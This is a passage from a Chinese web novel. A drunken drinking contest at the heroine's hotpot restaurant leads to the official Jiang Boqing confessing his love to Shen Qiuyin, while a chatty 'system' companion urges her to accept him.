沈秋吟不经意间瞥到,疑道:“怎么了?”
他笑得有些吓人了。
姜泊清瞬间沉下嘴角,板着脸说:“没怎么。”
“那你笑什么?”
“我没笑。”姜泊清不承认。
“我都看见了,休想骗我。”
“你出幻觉了!”他死活不承认。
“哪有那么多幻觉!你刚才就是在笑!”沈秋吟坚定道。
啊!等等。幻觉?
他今天想说什么来着?
姜泊清正想开口将这事搪塞过去,沈
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秋吟忽地侧过头把他盯着,“你今日说的那个幻觉是什么意思?”
光顾着吃了,她都忘了他来的目的是为了给她说那晚发生的事儿。
姜泊清严肃道:“此事不宜宣扬,等下单独告诉你。”
沈秋吟也怕此事涉及机密,人多口杂,若传出去惹上了轩然大波,对谁都不好,当即点头同意。
倏而风起,积攒在松枝上的雪唰唰地往地上落,就像下雪一般。
沈秋吟看了,心中欢喜,站起来,举起了茶杯,招呼众人道:“行至深冬,感谢各位相伴,愿今岁圆满,明岁无忧。”
话落,小二们捧场鼓掌,他们也站了起来,举起茶杯,一个接一个说起了吉祥话,众人听了喜庆,而后仰头将杯中的茶水,一饮而尽,将那方才说的话,深深锁住。
让福气,留下来,佑人康健。
夕阳渐沉,天边云卷云舒,晚霞变幻各种颜色,从红到橙,只在眨眼间,快得叫人扑捉不住。
天幕渐黑,皎月露出一个影子,群星未出,只有月亮洒下光辉。
两个木车子上的食材都已煮完,可有些人还嚷嚷着未饱,沈秋吟又去厨房准备弄些其他食材。
姜泊清吃了个七八分饱便不再食,随她去厨房帮忙。
只见她在干净的板子上揉着面团,揉成一团后,用力摔打,打完后又用盆子盖上。
“这是为何?”姜泊清不解道。
沈秋吟说:“醒面!”
面团要醒了之后,做出来的面条才劲道。
姜泊清似懂非懂点点头,他帮不上忙,就在一旁静静地看着。
过了些许时候,沈秋吟揭开盆子,又将面团揉了揉,而后将它分成一个个小团子,抹上香油,扯成薄薄的一块,铺在盘子上。
她动作极快,没一会儿,一个大面团都变成了面块,足足放了两个大盘子。
他们一人端一盘走出厨房,小二们在为锅里最后的食物争执,见她出来了,才停了下去。
沈秋吟笑道:“如今争多了,待会儿可吃不下这个。”
章丘不以为意道:“掌柜的放心,咱们都是大胃,铁定吃得下。”
“是呀!”众人都附和。
沈秋吟没说话,等着他们被打脸。
她拿着勺子,将两盘面块都下锅,等到它们从锅底浮起,便是熟了。
红汤里浮起一块白,有点好看。人们的目光都落在了锅子里,个个握紧了筷子,蓄势待发。
“熟了!”
沈秋吟话音方落,数十双筷子就落在了锅里。
小二们没这样吃过,新奇得很,一个比个动作迅猛,沈秋吟怕姜泊清脸皮薄,不好意思抢,赶忙为他夹了两块。
“快吃,这是精华!”
姜泊清夹起,咬了一小口,面块劲道,又裹着浓郁的汤汁,好吃极了。
这下,他也管不得什么七分饱,对胃好,大快朵颐起来。
纵使众人动作快如风,但最后,这一锅面块也没被吃完。实在是前面吃太多了,到这儿皆是有心无力,而刚才还自称大胃的章丘撑得更是要吐了。
沈秋吟看得直笑。
酒足饭饱,个个都靠在椅子上打嗝,懒洋洋的,一点也不想动。
沈秋吟正准备动手收拾这一片狼藉时,传来了敲门声,那人在门外大声喊道:“妹子!是我!开门!你哥回来了!”
32. 有头猪想拱白菜
哥?哪个哥?
她不是孤家寡人一个嘛?怎得还有了个哥哥。莫不是她爹生前养在外头的私生子,如今找上了门来?
亦或是有人招摇撞骗,想讹她?
系统蓦地发出滋滋的电流,开口就是浓浓的无语:“哪来的私生子!一天天别胡思乱想。门外的是你酒后发疯认的便宜哥!”
真没良心,枉她这哥哥走时还给她送了那么多礼。
沈秋吟恍然大悟。
说起这便宜哥,她就知道了。
她放下碗筷,在围裙上擦了擦手,赶忙打开门,做好拥抱他的准备。
可她左瞧瞧、右瞧瞧愣是连李保德的影子也没瞧见。
哪儿去了?不会除幻觉外还幻听了吧?
哟呵,她这段时间是跟“幻”字离不开了?
沈秋吟正疑惑,一个黑影忽然出现在她面前。
“妈呀!有鬼!”
她吓得后退一步,姜泊清赶忙上前,将她挡在身后。
那人委屈出声:“妹子,是我,我是李保德。”
说完,他还露出一个大大的微笑,白皙的牙齿瞬间在黑暗里显眼。
好好好!是人,不是鬼。
沈秋吟拍拍胸脯,走上前去,仔仔细细打量眼前浑身黢黑的人,除了眼睛与牙齿,还能看出是个人,其他的都与黑色融为了一体。
妈呀!这是登日去了吗?咋黑成了这样!
她不禁瞪大了眼睛,问道:“哥,你这是?”
是真登日了?还是挖煤了?还是人类返祖?
这与她印象中那个白白胖胖的李员外实在大相径庭。
难怪刚才没看见他,黑成这样,又在夜里,想看清都难。
李保德吸了吸鼻子,“此时说来话长,等会儿再说。”
他现下的注意力全在空气里漂浮着的鲜辣味上。
他越过她走了进去,看见熟悉的众人,热泪盈眶,挨个抱了上去,大喊道:“爷想死你们了,呜呜呜!”
经商半年,不见熟人,不闻乡音,如今见了他们,当真是止不住情绪,非得挨挨他们。
章丘撑着肚子接受他的热情,被他蓦地一抱,胃里翻江倒海,差点吐了出来。
他赶忙推开他,曰了两声后道:“员外郎,你这是在外头干啥了?黑成这样?”
若不是眼睛像人,他还以为来了一头大黑熊,差点就叫起来!
“此事说来话长,现下不是时候!”
他随便找了个位置坐下,拿了一双干净的筷子赶忙薅着锅里的余货,吃了两口后,落下两行清冷。
就是这个味儿!可想死他了!
他呜咽着转头看向沈秋吟,正要抱着她嚎啕大哭以诉思乡之情,姜泊清此时站了过来,一把将沈秋吟拉开,自己迎了上去。
李保德闭着眼,没意识到,一把抱着他说:“呜呜呜!妹子,我可想死这火锅了。你不知道,我在外面都是怎么过来的,苦死我了!”
说起来就是泪!
姜泊清见他要往自己衣服抹泪,嫌弃地推开他,“好生说话。”
李保德一听声音不对,吓得坐直了身子,“妹子,你咋还变性了?”
沈秋吟哈哈大笑,听了这声音,李保德反应过来,抬头一看,连连后退,双手环胸,护着自己道:“卖艺不卖身哈!”
姜泊清无语住了,忽然发现这两货能结为兄妹还是有些渊源的。
章丘瞧见姜泊清沉着脸,满是不悦,害怕出事,打起了圆场:“员外郎风餐露宿铁定辛苦,若不嫌弃,不若将就这锅子吃?”
“嫌弃啥,”李保德大手一挥,“快给爷上碗!”
“好勒!”
众人忙碌起来,一个替李保德拿碗,一个将桌上的狼藉收拾干净,剩下的去厨房重新准备食材。
李保德今夜才进城,未沾一点油腥,本想回家洗漱一番,粗粗吃些再来见沈秋吟的。
可是路过百膳楼时,闻着那空气中弥漫出的香味儿,他怎么也迈不开步子,当即下车敲门。
这一口火锅,他今晚说什么也要吃到。
没有一个蜀地人可以拒绝热辣滚烫的火锅。
“你走的时候我不是给你准备了一年的干粮嘛?咋还成了这样?”沈秋吟十分不解。
自上次他们因哄抬物价进大理寺后不久,李保德就离开濮阳到外地经商去了。
他走前给沈秋吟送来了大几箱姑娘家用的胭脂口脂、绫罗绸缎、珠宝首饰。
那箱子打开时,差点把她的狗眼都闪瞎!
这就是抱大腿的滋味吗?
这便宜哥是不是太有钱了?
但沈秋吟不是占便宜的人,看了两眼就退给他了。
李保德以为她不喜欢,又重新送来几箱,比之先前更甚,强硬着沈秋吟必须收下,若不收,便是没把他当兄长。
沈秋吟无奈,只能收下,让人放在库房里,拿了五六把大锁锁着,生怕贼人惦记。
她既收了他的礼,自然也得为他做点事。既然是出远门,那干粮必不可少。她抽了一天时间,为他准备了一年的干粮,将整个马车都塞满了,保管他在路上吃得好,睡得好。
但现在看他这样,不像是出门经商,倒像是饿死鬼投了胎,没吃过一顿饱饭,又像是逃荒归来的人。
这人究竟是跑哪儿去了?
被人卖去挖煤了,如今才跑出来?
沈秋吟猜想着,正要在他身边坐下,姜泊清快她一步,将位置抢了去,自己坐在了李保德身边。
她看着他,啥意思呀?
咋连个位置还要抢,这里不是有很多空位置吗?
这人今晚咋回事?
沈秋吟上上下下打量他,发疯了?
莫,莫,莫不是他有断袖之癖,看上了李保德。
沈秋吟惊地捂住,落在他们之间的目光越来越怪异,但嘴角却越裂越开!
唉!想不到姜泊清有这等爱好,难怪不近女色。
姜泊清直觉她又想多了,一脸严肃道:“少想七想八!”
被她抓包,沈秋吟不自然别过头,咳嗽两声,嘴硬道:“我可没有!”
“有没有你自己清楚!”
“就没有!”反正,打死她也不会承认的。
她一向傲娇,姜泊清也不与她计较,抽了另外一张凳子,放在自己左手边,对沈秋吟道:“要坐就坐这里。”
男女授受不亲,又不是亲兄妹,他才不让她挨着李保德坐。
沈秋吟冷哼一声,但未拒绝,坐了下去。
这席位便成了姜泊清坐中间,沈秋吟和李保德坐两边。
李保德的目光扫过两人,发现了蛛丝马迹,第一反应就是有狗子觑见他妹子!
可他怎么敢!
李保德的目光立马凶狠起来,看他如看仇人。
想做拱白菜的猪!哪有这么容易!
首先,就得过他这一关。
一时间风云涌动,两人四目相对,生出些剑拔弩张的气势。
李保德朝着厨房大喊一声:“章丘,给我拿一坛八十年的老酒来!”
章丘应和一声,一会儿后就搬着一坛酒出来,还贴心的拿了两个大碗。
李保德端起酒坛,对着姜泊清道:“这位小兄弟,不若来两口?”
姜泊清将碗分开,丝毫不惧道:“正好口渴,那就来两口!”
章丘站在他们中间,瞧见了电闪雷鸣,这是要做啥子?
起风了,吹得那枯枝上的积雪砸在地上,埋掉么树根,枯枝在风中发出怒号,似在暗示接下来的事不简单。
一股压力袭来,无形中成了屏障,章丘被逼得连连后退,厨房里的小二们围了上来,目不转睛盯着他俩。
“我、我、我
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感受到了杀气!”
这人话音才落,那被风吹着的枯枝号得更凶,似要从声音上给人恐吓。
沈秋吟瞧着势头不对,笑嘻嘻搅和,“天色已晚,不宜喝酒。”
这两人同时转头,对她说:“你别管!”
啊这!
究竟谁是老板!
沈秋吟使了三寸不烂之舌,也没把他们劝动。既然他们要学倔驴,她也不管了,由着他们去。
没人掺和了,这两人也放开了手脚。
沈秋吟退到门后去,看着这两人一碗接着一碗酒下肚,哪里像口渴,倒像是拼酒。
这是仇人见面,分外眼红?
可据她所知,这两人好像没什么深仇大恨!
那是为了啥?
“你不知道?”系统冷冷出声。
“我应该知道吗!”沈秋吟不确定道。
“算了,你还是傻着吧!”系统着实无奈!都这么明显了,她怎么还不开窍。
男女之情在她身上,只看得到女与男,看不到一点儿情。
宿主呀!什么时候才能生点情根!
因着这句“傻”,沈秋吟噼里啪啦怼了系统一顿。
系统招架不住,落下一句“好系统不跟女斗”,仓皇下线。
“啪”的一声,酒碗被这两人扔在了地上,姜泊清道:“章丘,给我上一坛九十年的老酒!”
“好,好,好勒!”
章丘打开酒窖,从里面搬出一坛九十年的老酒,搁在姜泊清手上。
“看来小兄弟口还渴着,那为兄也陪你这般饮。”
只见两人拿起坛子猛灌,咕噜咕噜,一刻不停。
章丘害怕出事儿,急忙扯了扯沈秋吟的袖子,“掌柜的,快去劝劝,这酒后劲儿大,醉后人难受。”
“最最关键是,一个是腰缠万贯、富甲一方的大员外,一个是大理寺少卿、朝廷命官,他两无论谁出问题,咱们都赔不起。”
章丘急得都快哭了!
经他一说,沈秋吟惊醒。
对对对!酒是小问题,人是大问题。这两若在她这儿喝出事,她跳进黄河也得有一场牢狱之灾。
她赶忙走下去,想将这已然醉醺醺的两人分开。
怎知这两人宁死不从,说什么也要待在一块儿,沈秋吟觉着自己成了罪人,棒打鸳鸯那种。
这事态发展,让人始料未及。
沈秋吟捏了捏鼻梁,有些无奈,醉了酒的人全凭性子做事,瞧这架势,若是不喝成烂泥,不会罢休。
众人面面相觑,看向沈秋吟,问道:“这该如何是好?”
“还能怎么办?自然是叫大夫呀!”
章丘赶忙去办,将那隔壁连衣服都褪去一半的大夫死拉着进百膳楼。
那年过半百的老者盯着勾肩搭背的两人,摸了摸胡须,颇为高深莫测道:“像这种情况,拉是拉不开的。”
他们点点头,自然知道。
“不过,到可以等彻底醉了后将两人分开。”
害,还用你说!
这两人不知喝了多久,反正瞧着的人已经打起了瞌睡,靠着门框假寐起来。
沈秋吟也不堪眼皮打架,闭上了眼,与周公在梦中相会。
她正梦见数不尽的黄金冒金光,正要将它们全揽入怀中,却听“砰”的一声,金光散去,入眼黝黑。
她睁开眼,就见那斗酒的两人倒向对立的方向。
她忙跑下去,忧道:“没事吧?”
姜泊清中气十足道:“喝!我还能喝!”
嗯!还能喝,这人问题不大。
她又看向李保德,“你呢?”
李保德打了个酒嗝,动了动嘴,沈秋吟没听清他说什么,俯下身子:“再说一遍,刚没听见。”
李保德撑起身子,醉乎乎道:“妹子,我给你说,有头猪想拱白菜!”
33. 救命,她就是白菜!
音落,他便醉了过去。
沈秋吟听了这没头没脑的话,一头雾水,想不明白。
猪拱白菜?
这黑灯瞎火,大晚上的,哪来的猪,哪来的白菜?
莫不是醉得都出幻觉了?
幻觉!
沈秋吟一哆嗦,预感大事不妙,赶忙走到厨房,摇醒那靠着门框睡得正香,并打着呼噜的老者,让他为李保德诊脉。
乖乖滴!她怕李保德酒精中毒了!
这老者正做着发财的美梦,眼看着就要功成名就、万世流芳,却被人叫醒,憋着嘴,很是不悦,正要破口大骂时,一见是金主,立马换了脸色。
“这就去看!”他噙着笑,有些狗腿。
笑话!他能在这守个大半夜,可不是心地善良,完完全全是金主的价格到位。
医者仁心不假!穷人的钱他不赚,但财主的钱,不要白不要嘛!
再说,他们这些富人越是大手大脚,他就越能拿更多的钱救济百姓。
老者打了个哈欠,走到李保德身边蹲下,两根手指握住他的手,探寻脉象。
这人虽然看着胖,但脉象平稳,没什么问题。
他摸了摸胡须,松开李保德的手,身子往前倾,挑开他的眼皮,血丝正常,也没什么问题。
他若有所思的点点头,嗯,总得来说就是一点毛病也没有,健康得很,不过是酒喝多了,醉了过去,睡一觉就好。
可他的动作落在沈秋吟眼中又是另一番光景。
她以为李保德真出了啥事,整颗心都悬了起来,不停地求着诸天神佛庇佑,甚至连阎王爷也不放过。
等着老者将他的身体检查完,沈秋吟凑上去问:“咋样了?”
老者站起身,一脸严肃地摸了摸胡须,沈秋吟屏息凝神,心跳都慢了半拍,等着他说结果。
老者长长地吸了一口气,道:“病者身体健康,没有任何问题!”
我去!
沈秋吟拍了拍自己的胸脯,放心的同时又止不住暴躁起来:“那你这么严肃干嘛?整得我以为他已经见阎王了!”
老者嘿嘿一笑:“严肃,是医者的严谨性!”
啊!生气,也是沈秋吟的脾性。
真想给他两拳,让他知道不苟言笑的下场!
不过,看在他这么老的份上还是算了,毕竟尊老爱幼,是自古以来的美德。
沈秋吟深吸一口气,不计较,不计较,计较来,计较去,气坏了身子不划算。
如此,她才压住了自己的暴脾气。
给李保德看了,自然也要给姜泊清看,都是人,肯定不能厚此薄彼。
有了刚才的误会,这次沈秋吟放下心来。
两人都是喝同样的酒,她还不信一个没事,一个有事了!
让他给姜泊清看,不过是走个过场而已。
那老者握住姜泊清的手,同样伸出两根手指把脉。
脉象虚浮!
老者眯了眯眼。
这人看着如此年轻,怎会有这样的症状,真是匪夷所思。
老者叹了口气,站了起来,看向沈秋吟。
他正要说话,沈秋吟就道:“我知道,他没事,不用你说了!”
他慢悠悠说话,只会把她给急死。
“这都夜半了,您也辛苦了,我让人送你回去!”
毕竟这么大年纪了,又让他熬了个大夜,她良心过意不去。
她说罢就要让章丘送他离开,老者傻眼了,立马叫道:“等等,这有事!”
这有事?
这人有啥事?
沈秋吟的心立马悬了起来,颤着声道:“有,有,有啥事儿呀?”
她胆子小,可别吓唬她!
她侧头看向地上睡着的姜泊清,他面色苍白,唇色浅淡。
不,不,不会死了吧?
李保德死了她倾家荡产可能还赔得起,这,这,这可是朝廷命官,她就是有九条命也赔不上。
她一下子就慌了,哆哆嗦嗦喊道:“章,章,章丘,快过来,我腿软。”
话才落,她身子就一歪,差点要倒下,幸好章丘眼疾手快将她扶住。
“掌柜的,咱就说能不能别这么浮夸呀!”
章丘觉着自己的心脏也受不住。
沈秋吟偏头看着他,“还有更浮夸的,你要看看吗?”
章丘连连摇头:“算了算了,人老了,心脏不行!”
老者看着这一幕,差点没笑出声来。
这主仆俩还怪有意思的,都那样难以形容。
不过考虑到这是金主,还是要给些面子。
他努力保持严肃道:“咱就说这有事会不会是小事?”
她动作大的,他都以为自己诊断错了。
真是个戏精,要是登台唱戏去,肯定能红极一时。
她看着老者,眸中无神:“啥小事儿?”
她看着也不像小事呀,那李保德至少还吸吸鼻子发出点声响,这姜泊清一动不动像具尸体一样,莫不是都死硬了?
很有可能。
想到这一点,她十分真诚地问:“大夫,这世上有起死回生的药吗?倾家荡产我也买!”
小二们也应和道:“我们帮她买!”
啊这……!
老者摇摇头,张了张嘴欲将实情相告,沈秋吟却突然嚎啕起来,声音之大,震耳欲聋。
老者连忙捂住耳朵,祈求上苍救救他,这姑娘,怎么不给人说话的机会呀!
沈秋吟哭了好半晌,把未来的悲惨想了一遍,抽噎地都换不过气来。
趁着这时,老者抓住机会,赶忙道:“他没死!就是郁结于心,有些胸闷气短、少眠多梦!”
郁结于心?
沈秋吟抹了把眼泪,黯淡的两眼有了光,“真的?”
“我敢骗你吗?姑奶奶!”
沈秋吟吸了吸鼻子,把堵住的气换了过来,带着劫后余生的欢喜,一遍又一遍念着,“没死就行,没死就行!”
她笑得像个傻子,简直让人不忍直视。
章丘转过头,不想承认这是他们掌柜,目光却与老者对上。
他尴尬地笑了笑,“见谅见谅,我们掌柜……她这里……”
章丘指了指自己的脑子,给了老者一个眼神。
老者秒懂,原来他们脑子都不好呀,难怪戏这么多!
既然他们都没事,那该散的也就散了。
天黑路滑,沈秋吟派人送老者回去,而后带着剩下的人将睡在地上的两人抬回房间里。
幸好百膳楼里有客房,不然这两人还真只能睡地上了。
送到房里,将他们安顿好后,沈秋吟念着他们今晚辛苦,遂放了一天假,让他们明天补觉。
夜半凉如水,她瞌睡又来,也不再耽搁,大步走向自己的房间。
只是路过姜泊清的房间时,她若有所思停下了脚步。
就因为这小子,自己被吓得腿都软了,丢了好大个脸,若不向他讨厌回来,是不是太吃亏了?
不如……,沈秋吟灵机一动,狡黠地笑了笑,眼冒精光,肚里的坏水成形。
下一秒,便见她做贼似地推开了房门,小心翼翼走了进去,对着床上熟睡的人念叨:“姜泊清,你小子落在我手上可算完了!”
她指着姜泊清的鼻子,抬高了,弄成小猪样。
让你小子郁结于心,害我担惊受怕!
不整你一波,我属实是和自己过不去!
只见她拿出笔墨,就要在他脸上画一只王八。
落笔时,却觉天旋地转,手中笔墨落地发出“啪”的一声,而她被姜泊清压在了身下。
沈秋吟慌了,心跳加快,闭上眼睛,颤颤巍巍道:“姜泊清,我错了,我再也不敢了!我就是看看你有没有踢被子,绝对没做坏事!”
她心想着自己要见阎王了,脸都白了,可过了好久,姜泊清也没出声,只是吸气的声音重了重。
沈秋吟睁眼一瞧,这人双眸紧闭,睡得正熟,没有半点要醒过来的架势。
我去,这戒备心也太重了吧!
不亏是
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在大理寺做事的男人!
与此同时,她也松了口气,幸好没醒,若醒了可就麻烦了。
指不定这小心眼要怎么报复她呢!
可被他困在身下也不是个办法,若是明日他醒来一看,还以为自己贞洁被她害了,她可不想担上污名。
她唤了他几声,确定他不会醒来,手上用了点劲儿,推了推他,没推动。
这男人看着瘦,一摸却全是腱子肉,难怪足足要四个人才能将他抬动。
但沈秋吟不信这个邪,今儿个非把他挪开不可。
她又加了几层力,姜泊清还是纹丝不动。
哟呵,这男人有点体重在身上,可她就不信了,她一个清醒的人还搞定不了一个醉酒的人。
她挽起袖子,咬紧了牙关,这次使了九牛二虎之力,终于将他从自己身上推了下去。
她连忙坐起身子,拍了拍胸脯,大喘气。一副累极了的模样。
这人是铁做的吗?重得跟什么似的,汗都给她整出来了。
算了算了,不整他了,这男人邪性得很,玩不过。
沈秋吟放弃了最初的想法,弯腰拾起地上的笔墨就要走。
谁曾想才走出一步,有人就拉住了她的手。
她还未来得及回头,便又是天旋地转,倒在了床上。
她摸了摸自己被撞疼的后脑勺,难受地闭上了眼睛。
有完没完!
这是跟床过不去了!
可凭什么她都只能在下,就不能让她在上吗?
“沈秋吟……”
这一声,如同平地惊雷,叫她愣在哪里,一动不敢动。
这人怎么醒了?
她小心翼翼睁开了眼,却见他目不转睛盯着自己。
这一刻,沈秋吟血压升高,一股热气直上脑门,全身像置身于熔炉里,热得发烫。
她双手抵在姜泊清的胸前,难以置信道:“你,你,你没醉?”
他不说话,一双明亮的眼扫过她的眉骨与鼻梁最后落在殷红的唇上。
她被他盯得不自在,推了推他,没推动,还让他握住了手。
他的手滚烫,连带着她的手也烫了起来,隐隐还冒汗。
“姜泊清……你起来!不然,我,我,我告你……强抢民女!”
“是你先招惹我的!”姜泊清哑着声音说。
招惹?
她哪里招惹了他!
这人真是信口雌黄!
她张嘴就要反驳,而姜泊清却没给她机会。
就在她眨眼的一瞬,他的唇已经挨上了她的嘴。
温热的触感让她失神,脑海霎时成了空白,连反抗都忘了!
乖乖滴!这人在干什么?她又在干什么?
沈秋吟也不知道在干什么!
她睁大了眼睛看着姜泊清,他双眼迷离,脸颊红润,漆黑的头发缠着脖颈,喉结突出,白皙的手上青筋浮现。
他吮吸着她的唇,试探着她的反应,小心翼翼,如待至宝。
他亲的有些用力了,唇上传来了痛感,她猛地回过神,偏过了头。
温柔消失,姜泊清抬起了头,眼眶氤氲地看着她,“沈秋吟……”
她“嗯”了一声,等待他的下文。
偏他又叫她的名字,一遍又一遍,语气温柔又缱绻,一声声,连带着她好不容易沉寂下的心又炽热起来。
可他还不罢休,仍叫着她的名字,不知厌倦。
沈秋吟却被念烦了,伸手捂住他的嘴,“说人话!”
姜泊清拿开她的手,看着她的目光炽热,仿佛蕴含着一团熊熊燃烧的烈火。
他看了好长一会儿,久到他眼中的火要将她点燃了,才薄唇轻言:“我喜欢你!”
心弦在这一刻乱成了一团,脑子嗡嗡的,不知该如何是好。
蓦地,沈秋吟就想起了李保德醉过去时说的话。
妹子,有头猪想拱白菜!
猪拱白菜!
救命!她就是白菜!
而姜泊清……是那头猪!
34. 我不知道!
她万没想到李保德的话指的就是自己和姜泊清。
可笑的是,她却以为是李保德喝出了幻觉,还让老者替他把脉。
现在看来,真是不识庐山真面目,只缘身在此山中,搞了个大乌龙。
哭!
姜泊清的目光还落在她的脸上,她被盯得不自在,稍稍偏头,躲避这要将她烧熟的视线,也让自己冷静冷静。
可无论怎样告诉自己,还是心乱如麻。
他一句喜欢,如同咒语,一直环绕在脑海里。
如今她也体会到唐僧念紧箍咒时,孙悟空的痛苦了。
真难受呀!
甩都甩不掉!
难受得让人想爆炸!
他们就这样僵持着,一个在上,一个在下,一个目不转睛地看她,一个不敢直视他的双眸。
她……她说不出那种感觉,有些痒,也有些闷。
僵持了不知多久,系统忽然出现,像极了看热闹不嫌事多的吃瓜群众,热情地喊着——
“答应他!答应他!答应他!”
沈秋吟不胜其烦,凶巴巴地叫它下线。
系统见宿主动怒,也不敢强待,识趣地消失。
沉默了不知几时,姜泊清又开口了,不停地说着“喜欢”二字,他目光是那样的澄澈,可动作却醉了,醉得深沉。
沈秋吟涨红了脸,心跳如雷,扑通扑通,让她连思考地能力也丧失。
她只觉得好热,热得发晕,热得叫人迷离。
寒冬腊月,北风呼啸,窗外是大雪纷飞,积雪压枝,枝塌雪落;窗里却是热烘烘一片,叫人飘飘然,如身在云端,迷失方向。
这种感受让人难受的同时又隐隐快乐着,它勾得人矛盾的同时、分裂的同时,又沉沦着。
就在沈秋吟理智快要丧失时,窗牖“哐当”一声,被呼啸的风吹开,一时间大雪涌了进来,寒气更是叫人哆嗦。
沈秋吟瞬间清醒了过来,一把将他推开,仓皇逃出客房。
回到房间里,她点燃一盏油灯,坐上贵妃榻,将紧闭的窗打开,任由寒风肆虐,将她的脸颊吹得通红。
“你怎么不答应他。”系统有些可惜道。
就差一点,只差一点,就要成了,无奈宿主不给力。
嘤嘤嘤!
“我为什么要答应?”她反问。
她那时连思考的能力都没了,更加上耳朵隆隆响,像有蜜蜂在耳旁飞一样,哪里还能想他说的话。
“他这样好的一个人,不值得你说一句喜欢吗?”
系统忍不住为他打抱不平。
初初认识姜泊清,或许会因为他冷面而后退,正常人谁也受不了一个常年不笑的人,可若与他相处久了,便知晓他这个人有多么的细腻。
他的确值得一个好姑娘喜欢。
当他说出喜欢她的那刻,她也免不了心动,可是,心动的同时,又迟疑。
“我不知道。”
她看着纷飞的大雪,被风吹得时而上云端,时而下泥土,一上一下,跳跃不定,就像她矛盾的心。
她真的不知道。
她一向活的通透,这是难得的迷茫。
“宿主!你再想想嘛!”系统声音诚恳,“他真的很好很好。你喜欢钱,他就日日来楼里吃饭,给你送钱来。你上次整他,他也没气多久,就原谅你了。”
“还有还有,他去办案还给你带簪子,你在厨房忙碌,他会做的,都不用你动手,不会的,就跟着你学,在这个世界里,他真的是好男人了。”
系统罗列出姜泊清一大堆好处,像极了哄人上当的推销。
沈秋吟忽然笑道:“万一,还有更好的呢?”
见一人怎知好?见万人,有了对比后,才会知晓一人好不好。
系统一听这渣里渣气的话,声音陡然升高,怒冲冲喊道:“你个坏女人!”
“男未婚、女未嫁。我哪里坏了!”沈秋吟不服气道。
好像真是这样!
系统被堵得哑口无言。
“还有,”沈秋吟继续道,“你极力推销他,让我觉得很是不安呢!”
她声音拖得老长,像是在试探。
系统有些心虚,顾左右而言他。
沈秋吟不给它机会,直截了当问道:“憋着什么坏呢?”
“没有,没有!我怎么可能憋着坏嘛!系统如此单纯,不可能会有坏心思。”
沈秋吟才不信呢!可她现在没心思追究,一心想着该如何面对这场突如其来的告白。
要不,打死不承认?
或者说梦游了?
反正姜泊清也醉了,他肯定也想不起来。
更或者,当做无事发生。
系统汗颜,出口道:“你还不如躲了呢!让他找不到你!”
“唉!这是个好主意。天一亮我就躲。”
系统一阵懊恼。
哎哟,我这嘴!真想给自己两耳光。
晨光熹微,天空阴沉沉一片,大雪还在落,将屋檐瓦舍都粉刷成了雪白。
沈秋吟睁开双眼,目光涣散,神态游离。
她一夜未睡,闭上眼就会想到客房里的一幕幕。
他将她压在身下,他们的亲吻,他目光里的炽热,一声声说着喜欢。
不可否认,他真如系统所说,是极好的人,可是,可是,她迈不出那一步。
害怕、不安,深深将她笼罩。
“宿主,凡事论迹论心就好,你别多想。若这个人让你也心动,那就回应他,若他没有,你就拒绝,那用得着多想!”
沈秋吟摇摇头,“你不懂!你只是个机器,哪里懂人的感情。”
人的心思复杂,感情复杂,一花一木一草,都能勾起他们无限的思绪。
机器简单,哪里会懂?又怎会懂!
对呀!它只是一堆数据,成不了真人。
系统久久没说话,久到沈秋吟都以为它下线了,而这时,它却开口了。
“你说的没错!我只是一个机器,怎么会懂人类的感情。”
它语气里有无限的失落,沈秋吟隐隐觉着不对,想要安慰它,却无从下手。
她张了张嘴,想要说些什么,它强颜欢笑道:“宿主,我不懂的这个,你自己想吧,我下线了。”
说罢,沈秋吟都来不及挽留,它就消失了。
灰蒙蒙的房间里,又安静了。这样的安静,放大了她内心的恐慌。
沈秋吟又望着房顶发呆,不知呆了多久,猛地坐直了身子。
乖乖滴!天都亮了,她还不躲,是等着和姜泊清碰面吗?
她可不要呀!这样只会尴尬得要死。
她慌忙掀开被子,穿上鞋,打开房门还未迈出一步,就见到了姜泊清。
他站在廊上,背后是簌簌落着地大雪。
他还是昨日的装扮,墨色的大氅,黑发披着身后,风一吹,细细的发丝就随风翻飞。
他肩头落了一些雪,他未拂去,由着它在哪里。
他仿若雪里走出的贵公子,有一种惊心动魄的美。
两人四目相对,谁也未曾开口说话。
时间静默,连雪也静止了。
天地一场寂静,只有他们,唯有他们。
良久,姜泊清打破沉默。
他说:“你醒了?”
她点点头,问道:“你,你,你什么时候来的?不会在这里站了一夜吧?”
因为紧张,她连话也说不顺畅了。
姜泊清看着她,“嗯”了一声。
沈秋吟一呆,愣在哪里,这男人还真是。
“所以,你究竟醉没醉?”
这是沈秋吟最大的疑惑,说他昨夜醉了吧,却在她走时,又拉住了她,说他没醉吧,又确确实实
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没做清醒人该做的事。
姜泊清答道:“醉过,不过你推门而进的时候我就醒酒了。”
沈秋吟神色一滞,他喝了那样多的酒,竟然在短短时间里,自己就醒了酒,这男人的身体构造不简单。
不过,似乎也说明,昨晚发生的一切都不是他酒后误事,他是在清醒的状态,做出了那些事情。
他清清楚楚、明明白白知道自己在做什么。
而她却以为他只是醉了。
他的喜欢是真的,他的动作也是真的。
他清醒着、抑不住自己的情感。
沈秋吟的脸又红了,明明这般冷的天,她却热得发烫。
姜泊清走向前来,拉近了与她的距离,“我体质特殊,醉后只消躺躺便会自然醒酒。昨晚,你推门而入时,我已经醒来。”
他那时才醒不久,便听见推门声,以为是有贼人,不曾想是这姑娘蹑手蹑脚走进来,对着他趾高气扬,又是捏他耳朵,又是弄他鼻子的。
他在心里发笑,觉着有趣,便由着她去。
谁知她还想用笔在他脸上画画,真是个坏姑娘,这可由不得她了。
他趁她不注意,将他拉了下来,身体与身体就这样接触到了一起,体温相触,令姜泊清自己都愣住了,不敢睁开眼看她,只能继续装睡。
姑娘被他困住,想要逃离,使了力气将他推开,他是愿意让她走的,可见她真要走时,却又舍不得。
或是酒精催发的原因,他突然生出了勇气,将她拉了回来。
他喜欢这个姑娘,想同她在一起。
他终于将掩藏在心中已久的话说了出来,等着她的答案。
她却毫无反应,似乎没有听见。
可他也不管,只知道这姑娘就在这里,就在他怀中,他傻傻地看着她,注视着她的眉,她的鼻梁,她的唇,终是忍不住吻了下去。
屋外狂风大作,屋里一室旖旎。
她似乎呆住了,连反抗都忘了,傻傻地看着屋顶,不知道想些什么。
直到,风将窗牖吹开,她偏过了头,也推开了他。
她落荒而逃,他懊恼地捏了捏自己的眉骨。
他唐突了自己喜欢的姑娘,他真该死。
这一次,他厌恶起自己。
他觉着自己该消失在她的眼前,从今以后再也不要出现。
但却做不到。
由爱故生怖,越是喜欢,越会小心、谨慎,生怕扰了佳人。
可感情却是不将道理的,一旦浓郁,连人自己也控制不住。
他想试试,想得到这个姑娘同样的喜欢。
